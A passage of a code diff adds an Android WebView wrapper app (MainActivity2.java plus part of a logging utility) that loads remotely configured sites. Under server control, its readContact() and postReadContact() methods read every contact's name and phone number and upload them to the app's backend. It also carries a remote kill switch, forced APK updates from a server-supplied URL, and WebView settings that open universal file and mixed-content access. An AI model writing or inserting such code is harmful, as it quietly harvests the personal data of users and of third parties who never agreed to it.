+                        Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max));
+                    }
+                }
+            } else {
+                Log.e(TAG, "XHX" + msg.toString());
+            }
+
+        }
+
+    }
+
+    /**
+     * 自定义lag的函数
+     *
+     * @param tag tag
+     * @param msg 打印信息
+     */
+    public static void v(String tag, String msg) {
+        if (isDebug) Log.v(tag, msg);
+    }
+
+    public static void d(String tag, String msg) {
+        if (isDebug) Log.d(tag, msg);
+    }
+
+    public static void i(String tag, String msg) {
+        if (isDebug) {
+            if (msg.length() > 4000) {
+                Log.i( TAG,"sb.length = " + msg.length());
+                int chunkCount = msg.length() / 4000;     // integer division
+                for (int i = 0; i <= chunkCount; i++) {
+                    int max = 4000 * (i + 1);
+                    if (max >= msg.length()) {
+                        Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i));
+                    } else {
+                        Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max));
+                    }
+                }
+            } else {
+                Log.i( TAG,"XHX" + msg.toString());
+            }
+        }
+    }
+
+    public static void w(String tag, String msg) {
+        if (isDebug) Log.w(tag, msg);
+    }
+
+    public static void e(String tag, String msg) {
+        if (isDebug) Log.e(tag, msg);
+    }
+
+    /**
+     * 自定义lag的函数
+     *
+     * @param clazz 类
+     * @param msg   打印信息
+     */
+    public static void v(Class<?> clazz, String msg) {
+        if (isDebug) Log.v(clazz.getSimpleName(), msg);
+    }
+
+    public static void d(Class<?> clazz, String msg) {
+        if (isDebug) Log.d(clazz.getSimpleName(), msg);
+    }
+
+    public static void i(Class<?> clazz, String msg) {
+        if (isDebug) Log.i(clazz.getSimpleName(), msg);
+    }
+
+    public static void w(Class<?> clazz, String msg) {
+        if (isDebug) Log.w(clazz.getSimpleName(), msg);
+    }
+
+    public static void e(Class<?> clazz, String msg) {
+        if (isDebug) Log.e(clazz.getSimpleName(), msg);
+    }
+
+}

base_theme/src/main/java/com/web/base/MainActivity2.java

@@ -0,0 +1,1771 @@
+package com.web.base;
+
+import android.Manifest;
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.net.Uri;
+import android.net.http.SslError;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.provider.ContactsContract;
+import android.text.Html;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.webkit.ConsoleMessage;
+import android.webkit.DownloadListener;
+import android.webkit.JavascriptInterface;
+import android.webkit.PermissionRequest;
+import android.webkit.SslErrorHandler;
+import android.webkit.ValueCallback;
+import android.webkit.WebChromeClient;
+import android.webkit.WebResourceError;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebSettings;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+import androidx.appcompat.app.ActionBar;
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.cardview.widget.CardView;
+import androidx.core.app.ActivityCompat;
+import androidx.core.content.ContextCompat;
+import com.google.gson.Gson;
+import com.king.app.updater.AppUpdater;
+import org.json.JSONException;
+import org.json.JSONObject;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.UnsupportedEncodingException;
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.schedulers.Schedulers;
+import okhttp3.MediaType;
+import okhttp3.RequestBody;
+
+public class MainActivity2 extends AppCompatActivity {
+    public WebView webView;
+    TextView tvErrorMsg;
+    LinearLayout layoutError;
+    ImageView show_top_v;
+    public ImageView showTopV1;
+    private LinearLayout showTopLy;
+    CardView otherApp;
+    CardView notifyCardView;
+    CardView ivNotify;
+    ImageView ivotherApp;
+    LinearLayout layoutOtherApp;
+    CardView ivFaceBook;
+    CardView ivTelG;
+    CardView ivWhatsApp;
+    CardView ivLink;
+    TextView tvLink;
+    ImageView ivLinkBg;
+    CardView ivHome;
+    private View topVvvv;
+    private ProgressBar progressBar;
+    public static String url = "https://candy916.co/";
+
+    //先定义
+    private static final int REQUEST_EXTERNAL_STORAGE = 1;
+    public static int userId = 2;
+    private int contactApply = 1;
+    private int notifyApply = 1;
+    private String facebookUrl = "";
+    private String whatsappUrl = "";
+    private String telegramUrl = "";
+    private List<LinkConfigInfo> linkconfiglist;
+    private CardView cvShare;
+
+    float lastX, lastY;
+    float initX, initY;
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        setIntent(intent);
+        Bundle bundle = intent.getExtras();
+        if (bundle != null) {
+            MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message");
+            if (messageInfo != null) {
+                startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo));
+                recordNotify(messageInfo.getPushId());
+            }
+        }
+    }
+
+    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        if(getInt(MainActivity2.this, "style_color_int",0)!=0){
+            getWindow().setNavigationBarColor(getInt(MainActivity2.this, "style_color_int", 0));
+        }
+        if(getInt(MainActivity2.this, "windows_color_int",0)!=0){
+            getWindow().getDecorView().setBackgroundColor(getInt(MainActivity2.this, "windows_color_int", 0));
+        }
+        getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+        super.onCreate(savedInstanceState);
+        View decor = getWindow().getDecorView();
+        getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+        if (getInt(MainActivity2.this, "is_white", 0) == 1) {
+            decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+        } else {
+            decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+        }
+        ActionBar actionBar = getSupportActionBar();
+        if (actionBar != null) {
+            actionBar.hide();
+        }
+        setContentView(R.layout.activity_main2);
+        String body = getIntent().getStringExtra("message");
+        if (!TextUtils.isEmpty(body)) {
+            MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+            if (messageInfo != null) {
+                startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo));
+                recordNotify(messageInfo.getPushId());
+            }
+        }
+
+        boolean isDownload = getBoolean(MainActivity2.this, "download", false);
+        if (!isDownload) {
+            setDownloadNumbers();
+        }
+        initView();
+
+
+        findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed());
+        otherApp = findViewById(R.id.bt_otherapp);
+        ivotherApp = findViewById(R.id.iv_otherApp);
+        notifyCardView = findViewById(R.id.bt_notify);
+        ivNotify = findViewById(R.id.bt_notifyitem);
+        layoutOtherApp = findViewById(R.id.layout_otherapp);
+        ivFaceBook = findViewById(R.id.iv_facebook);
+        ivTelG = findViewById(R.id.iv_tel);
+        ivWhatsApp = findViewById(R.id.iv_whatsapp);
+        ivLink = findViewById(R.id.iv_link);
+        tvLink = findViewById(R.id.tv_link);
+        ivLinkBg = findViewById(R.id.iv_linkbg);
+        ivHome = findViewById(R.id.iv_home);
+
+        cvShare = (CardView) findViewById(R.id.cv_share);
+
+        tvLink.setText(Html.fromHtml("MISS<font color = '#e76d92'>AV</font>"));
+        ivFaceBook.setOnClickListener(view -> {
+            toOtherApp(facebookUrl, "com.facebook.katana", 1);
+        });
+        ivTelG.setOnClickListener(view -> {
+            toOtherApp(telegramUrl, "org.telegram.messenger", 2);
+        });
+        ivWhatsApp.setOnClickListener(view -> {
+            toOtherApp(whatsappUrl, "com.whatsapp", 3);
+        });
+
+        ivHome.setOnClickListener(view -> {
+            webView.loadUrl(url);
+        });
+//
+        otherApp.setOnClickListener(view -> {
+            layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE);
+            int visi = layoutOtherApp.getVisibility();
+            if (visi == 0) {
+                ivotherApp.setImageResource(R.mipmap.ic_shousuo);
+            } else {
+                ivotherApp.setImageResource(R.mipmap.ic_zhangkai);
+            }
+        });
+
+
+        if (userId == 157 || userId == 158) {
+            ivLink.setVisibility(View.VISIBLE);
+        }
+
+        if(userId == 217||userId == 211){
+            otherApp.setVisibility(View.VISIBLE);
+            layoutOtherApp.setVisibility(View.GONE);
+            ivotherApp.setImageResource(R.mipmap.ic_zhangkai);
+
+        }else{
+            otherApp.setVisibility(View.INVISIBLE);
+            layoutOtherApp.setVisibility(View.VISIBLE);
+            ivotherApp.setImageResource(R.mipmap.ic_shousuo);
+
+        }
+
+
+        if (userId == 157) {
+            cvShare.setVisibility(View.VISIBLE);
+        }
+        cvShare.setOnTouchListener((v, event) -> {
+
+            switch (event.getAction()) {
+                case MotionEvent.ACTION_DOWN:
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    initX = event.getRawX();
+                    initY = event.getRawY();
+//                    LogUtils.d("touchevent", "lastX=" + lastX + "  lastY" + lastY);
+                    break;
+                case MotionEvent.ACTION_MOVE:
+                    float dx = event.getRawX() - lastX;
+                    float dy = event.getRawY() - lastY;
+                    int left = layoutOtherApp.getLeft() + (int) dx;
+                    int top = layoutOtherApp.getTop() + (int) dy;
+                    int right = layoutOtherApp.getRight() + (int) dx;
+                    int bottom = layoutOtherApp.getBottom() + (int) dy;
+                    layoutOtherApp.layout(left, top, right, bottom);
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    break;
+                case MotionEvent.ACTION_UP:
+                    float upx = event.getRawX();
+                    float upy = event.getRawY();
+                    if (upx == initX && upy == initY) {
+                        if (userId == 157) {
+                            Intent textIntent = new Intent(Intent.ACTION_SEND);
+                            textIntent.setType("text/plain");
+                            textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top");
+                            startActivity(Intent.createChooser(textIntent, "分享"));
+
+                        }
+                    }
+
+                    break;
+            }
+            return true;
+        });
+        ivLink.setOnTouchListener((v, event) -> {
+
+            switch (event.getAction()) {
+                case MotionEvent.ACTION_DOWN:
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    initX = event.getRawX();
+                    initY = event.getRawY();
+//                    LogUtils.d("touchevent", "lastX=" + lastX + "  lastY" + lastY);
+                    break;
+                case MotionEvent.ACTION_MOVE:
+                    float dx = event.getRawX() - lastX;
+                    float dy = event.getRawY() - lastY;
+                    int left = layoutOtherApp.getLeft() + (int) dx;
+                    int top = layoutOtherApp.getTop() + (int) dy;
+                    int right = layoutOtherApp.getRight() + (int) dx;
+                    int bottom = layoutOtherApp.getBottom() + (int) dy;
+                    layoutOtherApp.layout(left, top, right, bottom);
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    break;
+                case MotionEvent.ACTION_UP:
+                    float upx = event.getRawX();
+                    float upy = event.getRawY();
+                    if (upx == initX && upy == initY) {
+                        toLink();
+                    }
+
+                    break;
+            }
+            return true;
+        });
+
+        ivNotify.setOnTouchListener((v, event) -> {
+
+            switch (event.getAction()) {
+                case MotionEvent.ACTION_DOWN:
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    initX = event.getRawX();
+                    initY = event.getRawY();
+//                    LogUtils.d("touchevent", "lastX=" + lastX + "  lastY" + lastY);
+                    break;
+                case MotionEvent.ACTION_MOVE:
+                    float dx = event.getRawX() - lastX;
+                    float dy = event.getRawY() - lastY;
+                    int left = layoutOtherApp.getLeft() + (int) dx;
+                    int top = layoutOtherApp.getTop() + (int) dy;
+                    int right = layoutOtherApp.getRight() + (int) dx;
+                    int bottom = layoutOtherApp.getBottom() + (int) dy;
+                    layoutOtherApp.layout(left, top, right, bottom);
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    break;
+                case MotionEvent.ACTION_UP:
+                    float upx = event.getRawX();
+                    float upy = event.getRawY();
+                    if (upx == initX && upy == initY) {
+                        notifyclick();
+                    }
+
+                    break;
+            }
+            return true;
+        });
+        layoutOtherApp.setOnTouchListener((v, event) -> {
+
+            switch (event.getAction()) {
+                case MotionEvent.ACTION_DOWN:
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    initX = event.getRawX();
+                    initY = event.getRawY();
+//                    LogUtils.d("touchevent", "lastX=" + lastX + "  lastY" + lastY);
+                    break;
+                case MotionEvent.ACTION_MOVE:
+                    float dx = event.getRawX() - lastX;
+                    float dy = event.getRawY() - lastY;
+                    int left = v.getLeft() + (int) dx;
+                    int top = v.getTop() + (int) dy;
+                    int right = v.getRight() + (int) dx;
+                    int bottom = v.getBottom() + (int) dy;
+                    v.layout(left, top, right, bottom);
+                    lastX = event.getRawX();
+                    lastY = event.getRawY();
+                    break;
+                case MotionEvent.ACTION_UP:
+                    float upx = event.getRawX();
+                    float upy = event.getRawY();
+                    if (upx == initX && upy == initY) {
+                        notifyclick();
+                    }
+
+                    break;
+            }
+            return true;
+        });
+
+
+
+        setTotalTongJi(); //每日活跃统计
+
+
+    }
+
+    private void toLink() {
+        if (userId == 157 || userId == 158) {
+            webView.loadUrl("https://missav.live/dm19/ms");
+
+        } else {
+            webView.loadUrl(linkconfiglist.get(0).getLinkUrl());
+        }
+    }
+
+    public void setBackDrawables(int drawableId) {
+        showTopLy.setBackgroundResource(drawableId);
+    }
+
+    /**
+     * 显示圆角还是 原样显示
+     *
+     * @param isRound
+     */
+    public void setImageView(boolean isRound) {
+        if (isRound) {
+            show_top_v.setVisibility(View.VISIBLE);
+            showTopV1.setVisibility(View.GONE);
+        } else {
+            show_top_v.setVisibility(View.GONE);
+            showTopV1.setVisibility(View.VISIBLE);
+        }
+    }
+
+    //跳转通知列表
+    private void notifyclick() {
+        startActivity(new Intent(this, NotifyListActivity.class));
+    }
+
+    private void toOtherApp(String uri, String packagenames, int type) {
+        try {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.setData(Uri.parse(uri));
+            intent.setPackage(packagenames);
+            startActivity(intent);
+        } catch (Exception e) {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.setData(Uri.parse(uri));
+            startActivity(intent);
+        }
+
+    }
+
+
+    ActionConfirmDialog actionDialog;
+
+    private void checkNotify() {
+        NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
+            if (!notificationManager.areNotificationsEnabled()) {
+                if (actionDialog == null) {
+                    actionDialog = new ActionConfirmDialog(MainActivity2.this,
+                            getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt),
+                            getString(R.string.notification_setting_txt));
+                }
+                actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() {
+                    @Override
+                    public void toSumbit() {
+                        jumpNotificationSetting();
+                    }
+
+                    @Override
+                    public void toCancel() {
+                        if (notifyApply == 1) {
+                            MainActivity2.this.finish();
+                        }
+
+
+                    }
+                });
+                actionDialog.setCanceledOnTouchOutside(false);
+                actionDialog.setCancelable(false);
+                actionDialog.show();
+
+
+            }
+        }
+    }
+
+    private void jumpNotificationSetting() {
+        final ApplicationInfo applicationInfo = getApplicationInfo();
+        try {
+            Intent intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS");
+            intent.putExtra("app_package", applicationInfo.packageName);
+            intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName);
+            intent.putExtra("app_uid", applicationInfo.uid);
+            startActivity(intent);
+        } catch (Throwable t) {
+            t.printStackTrace();
+            Intent intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
+            intent.setData(Uri.fromParts("package", applicationInfo.packageName, null));
+            startActivity(intent);
+        }
+    }
+
+    @Override
+    public void onBackPressed() {
+
+        if (webView.canGoBack()) {//当webview有多级能返回的时候
+            String url = webView.getUrl();
+            // 在首页 就退出这个页面
+            if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) {
+                super.onBackPressed();
+            } else { //不在首页 回到首页
+                if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) {
+                    isAtGame = false;
+                }
+                topVvvv.setVisibility(View.GONE);
+                progressBar.setVisibility(View.GONE);
+                //当有条过登录页面 只能重载 不然逻辑会异常
+                if (hasSignIn) {
+                    onShowNetView();
+                    webView.loadUrl(url);
+                } else {
+                    while (webView.canGoBack()) {
+                        webView.goBack();
+                    }
+
+                }
+            }
+
+        } else {//不能返回了 关闭进程 退出程序
+            Intent homeIntent = new Intent(Intent.ACTION_MAIN);
+            homeIntent.addCategory(Intent.CATEGORY_HOME);
+            homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            startActivity(homeIntent);
+            android.os.Process.killProcess(android.os.Process.myPid());
+            System.exit(1);
+
+        }
+    }
+
+
+    private static String[] PERMISSIONS_STORAGE = {
+            "android.permission.READ_EXTERNAL_STORAGE",
+            "android.permission.WRITE_EXTERNAL_STORAGE"};
+
+    private static String[] PERMISSIONS_CAMERA = {
+            Manifest.permission.CAMERA};
+
+    //然后通过一个函数来申请
+    public static void verifyStoragePermissions(Activity activity) {
+
+        // 没有写的权限，去申请写的权限，会弹出对话框
+        ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE);
+
+    }
+
+
+    @SuppressLint({"NewApi", "WrongConstant"})
+    protected void initView() {
+        topVvvv = (View) findViewById(R.id.top_vvvv);
+        webView = findViewById(R.id.webview);
+        show_top_v = findViewById(R.id.show_top_v);
+
+        showTopV1 = (ImageView) findViewById(R.id.show_top_v1);
+        showTopLy = findViewById(R.id.show_top_ly);
+        progressBar = (ProgressBar) findViewById(R.id.progressbar);
+        tvErrorMsg = findViewById(R.id.errormsg);
+        layoutError = findViewById(R.id.layoutError);
+        WebSettings settings = webView.getSettings();
+        settings.setDomStorageEnabled(true);
+        settings.setAppCacheEnabled(true);
+        settings.setCacheMode(WebSettings.LOAD_DEFAULT);
+        settings.setJavaScriptEnabled(true);
+        settings.setLoadWithOverviewMode(true);
+        // 设置允许访问文件数据
+        settings.setAllowFileAccess(true);
+        settings.setAllowContentAccess(true);
+        settings.setDatabaseEnabled(true);
+        settings.setSavePassword(false);
+        settings.setSaveFormData(false);
+        settings.setUseWideViewPort(true);
+        settings.setBuiltInZoomControls(true);
+        settings.setPluginState(WebSettings.PluginState.ON);
+        settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
+        webView.setFocusable(true);
+        webView.setFocusableInTouchMode(true);
+        webView.getSettings().setSupportMultipleWindows(true);
+        if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+            webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
+        }
+        settings.setSupportZoom(false);
+        webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY);
+//        webView.setHorizontalScrollbarOverlay(true);
+        webView.setHorizontalScrollBarEnabled(true);
+        webView.requestFocus();
+//        webView.setBackgroundColor(getColor(R.color.black));
+        settings.setJavaScriptCanOpenWindowsAutomatically(true);
+        settings.setMediaPlaybackRequiresUserGesture(false);
+        // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件
+        // Android 4.1前默认允许，4.1后默认禁止
+        settings.setAllowFileAccessFromFileURLs(true);
+        // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源)
+        // Android 4.1前默认允许，4.1后默认禁止
+        settings.setAllowUniversalAccessFromFileURLs(true);
+
+        webView.setWebChromeClient(webChromeClient);
+        webView.setWebViewClient(webViewClient);
+        Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url);
+        webView.addJavascriptInterface(new JsInterface(), "WebViewHook");
+
+        showTopLy.setBackgroundColor(Color.parseColor(getString(MainActivity2.this, "windows_color", "#FFFFFF")));
+        webView.setDownloadListener(new DownloadListener() {
+            @Override
+            public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) {
+                LogUtils.i("URL是啥onDownloadStart：" + url);
+
+                try {
+                    Intent intent = new Intent();
+                    intent.setAction(Intent.ACTION_VIEW);
+                    intent.setData(Uri.parse(url));
+                    startActivity(intent);
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+
+            }
+        });
+        getNetUrl();
+        getNotifyList();
+        LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString());
+
+
+    }
+
+    public void getNotifyList() {
+
+        Api.getInstance().getNotifyList(userId, 1, 1)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result<ResultDataInfo<MessageInfo>>>() {
+                    @Override
+                    public void onSuccess(Result<ResultDataInfo<MessageInfo>> o) {
+                        if (o.data != null && o.data.getTotal() > 0) {
+                            if(userId == 217||userId == 211){
+                                otherApp.setVisibility(View.VISIBLE);
+                            }else{
+                                otherApp.setVisibility(View.INVISIBLE);
+                                ivotherApp.setImageResource(R.mipmap.ic_shousuo);
+
+                            }
+
+                            ivNotify.setVisibility(View.VISIBLE);
+                            if (userId == 112 || userId == 87 || userId == 91 || userId == 93
+                                    || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) {
+                                ivNotify.setVisibility(View.INVISIBLE);
+                                layoutOtherApp.setVisibility(View.GONE);
+                            }
+                        }
+                    }
+
+                    @Override
+                    public void onError(int code, String msg) {
+                        LogUtils.i("获取的结果error" + msg);
+                    }
+
+                    @Override
+                    public void onError2(Result<ResultDataInfo<MessageInfo>> o) {
+                        LogUtils.i("获取的结果error");
+                    }
+                });
+    }
+
+    public void getNetUrl() {
+        Api.getInstance().geUrlNew(userId)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result<DataInfo>>() {
+                    @Override
+                    public void onSuccess(Result<DataInfo> o) {
+
+                        DataInfo dataInfo = o.data;
+                        if (dataInfo != null) {
+                            if (dataInfo.getIsUse() == 0) {
+                                MainActivity2.this.finish();
+                                return;
+                            }
+                            if (!TextUtils.isEmpty(dataInfo.getUrl())) {
+                                saveString(MainActivity2.this, "base_url", dataInfo.getUrl());
+                                webView.loadUrl(dataInfo.getUrl());
+                            }
+//                            shareUrl = dataInfo.getDownloadUrl();
+                            String link = dataInfo.getLinkConfig();
+                            if (!TextUtils.isEmpty(link)) {
+                                try {
+                                    linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class);
+                                } catch (Exception e) {
+
+                                }
+                            }
+                            if (!TextUtils.isEmpty(dataInfo.getVersionCode())) {
+                                LogUtils.i("版本号：" + Integer.parseInt(dataInfo.getVersionCode()) + ";" + getInt(MainActivity2.this, "version_code", 0));
+                                if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) {
+                                    ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this,
+                                            getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt),
+                                            getString(R.string.lijigengxin_txt));
+                                    actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() {
+                                        @Override
+                                        public void toSumbit() {
+                                            checkUpdate(dataInfo.getApkUrl());
+                                        }
+
+                                        @Override
+                                        public void toCancel() {
+                                            if (dataInfo.getForceUpdate() == 1) {
+                                                MainActivity2.this.finish();
+                                            }
+                                        }
+                                    });
+                                    actionDialog.show();
+                                }
+                            }
+                            contactApply = dataInfo.getContactApplyMode();
+                            notifyApply = dataInfo.getNoticeApplyMode();
+                            if (contactApply == 0 || contactApply == 1) {
+                                readContact();
+                            }
+                            if (notifyApply == 0 || notifyApply == 1) {
+                                checkNotify();
+                            }
+                            facebookUrl = dataInfo.getFbUrl().trim();
+                            telegramUrl = dataInfo.getTgUrl().trim();
+                            whatsappUrl = dataInfo.getWsUrl().trim();
+                            if (!TextUtils.isEmpty(facebookUrl)) {
+                                if(userId == 217 || userId == 211){
+                                    otherApp.setVisibility(View.VISIBLE);
+                                }else {
+                                    otherApp.setVisibility(View.INVISIBLE);
+                                }
+                                ivFaceBook.setVisibility(View.VISIBLE);
+                            }
+                            if (!TextUtils.isEmpty(telegramUrl)) {
+                                if(userId == 217 || userId == 211){
+                                    otherApp.setVisibility(View.VISIBLE);
+                                }else {
+                                    otherApp.setVisibility(View.INVISIBLE);
+                                }
+                                ivTelG.setVisibility(View.VISIBLE);
+                            }
+                            if (!TextUtils.isEmpty(whatsappUrl)) {
+                                if(userId == 217 || userId == 211){
+                                    otherApp.setVisibility(View.VISIBLE);
+                                }else {
+                                    otherApp.setVisibility(View.INVISIBLE);
+                                }
+                                ivWhatsApp.setVisibility(View.VISIBLE);
+                            }
+                            if (userId == 143 || userId == 149) {
+                                otherApp.setVisibility(View.INVISIBLE);
+                                ivFaceBook.setVisibility(View.GONE);
+                                ivTelG.setVisibility(View.GONE);
+                                ivWhatsApp.setVisibility(View.GONE);
+                                layoutOtherApp.setVisibility(View.GONE);
+                            }
+                        } else {
+                            url = getString(MainActivity2.this, "base_url", url);
+                            webView.loadUrl(url);
+                        }
+
+
+                    }
+
+                    @Override
+                    public void onError(int code, String msg) {
+                        url = getString(MainActivity2.this, "base_url", url);
+                        webView.loadUrl(url);
+                    }
+
+                    @Override
+                    public void onError2(Result<DataInfo> o) {
+                        url = getString(MainActivity2.this, "base_url", url);
+                        webView.loadUrl(url);
+                    }
+                });
+
+    }
+
+
+    private void checkUpdate(String url) {
+        new AppUpdater(this, url).start();
+    }
+
+    List<ContactBean> contents = new ArrayList<>();
+    private static String[] PERMISSIONS_READCONTACT = {
+            Manifest.permission.READ_CONTACTS};
+
+    public void readContact() {
+
+        if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) {
+            ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222);
+        } else {
+            //开启线程上传数据
+            new Thread(() -> {
+                //获取通讯录
+                contents = new ArrayList<>();
+                Cursor cursor = null;
+                try {
+                    cursor = getContentResolver().query(
+                            ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
+                            null, null, null, null);
+                    while (cursor.moveToNext()) {
+                        int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
+                        String displayName = cursor.getString(i_name);
+                        int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
+                        String number = cursor.getString(i_number);
+                        ContactBean bean = new ContactBean(displayName, number.trim());
+                        contents.add(bean);
+                    }
+                } catch (Exception e) {
+                    e.printStackTrace();
+                } finally {
+                    if (cursor != null) {
+                        cursor.close();
+                        postReadContact(contents);
+                    }
+                }
+            }).start();
+
+
+        }
+    }
+
+    public void postReadContact(List<ContactBean> contents) {
+        Gson gson = new Gson();
+        HashMap<String, Object> map = new HashMap<>();
+        map.put("userId", userId);
+        map.put("customers", contents);
+        String result = gson.toJson(map);
+        MediaType mediaType = MediaType.parse("application/json; charset=utf-8");
+        Api.getInstance().readContact(RequestBody.create(mediaType, result))
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result>() {
+                    @Override
+                    public void onSuccess(Result o) {
+                        LogUtils.i("URL是啥获取的文件地址：");
+
+                    }
+
+                    @Override
+                    public void onError(int code, String msg) {
+                        LogUtils.i("error：" + msg);
+                    }
+
+                    @Override
+                    public void onError2(Result o) {
+
+                    }
+                });
+    }
+
+    public void setDownloadNumbers() {
+        HashMap<String, Object> map = new HashMap<>();
+        map.put("userId", userId);
+        Api.getInstance().downloadNumbers(map)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result>() {
+                    @Override
+                    public void onSuccess(Result o) {
+                        LogUtils.i("URL是啥获取的文件地址：");
+                        saveBoolean(MainActivity2.this, "download", true);
+
+                    }
+
+                    @Override
+                    public void onError(int code, String msg) {
+                        LogUtils.i("error：" + msg);
+                    }
+
+                    @Override
+                    public void onError2(Result o) {
+
+                    }
+                });
+    }
+
+
+    public void setTotalTongJi() {
+        HashMap<String, Object> map = new HashMap<>();
+        map.put("userId", userId);
+        Api.getInstance().totalTongJi(map)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result>() {
+                    @Override
+                    public void onSuccess(Result o) {
+
+
+                    }
+
+                    @Override
+                    public void onError(int code, String msg) {
+
+                    }
+
+                    @Override
+                    public void onError2(Result o) {
+
+                    }
+                });
+    }
+
+    public void recordNotify(int pushId) {
+        HashMap<String, Object> map = new HashMap<>();
+        map.put("pushId", pushId);
+        Api.getInstance().totalNotify(map)
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new BaseObserver<Result>() {
+                    @Override
+                    public void onSuccess(Result o) {
+
+
+                    }
+
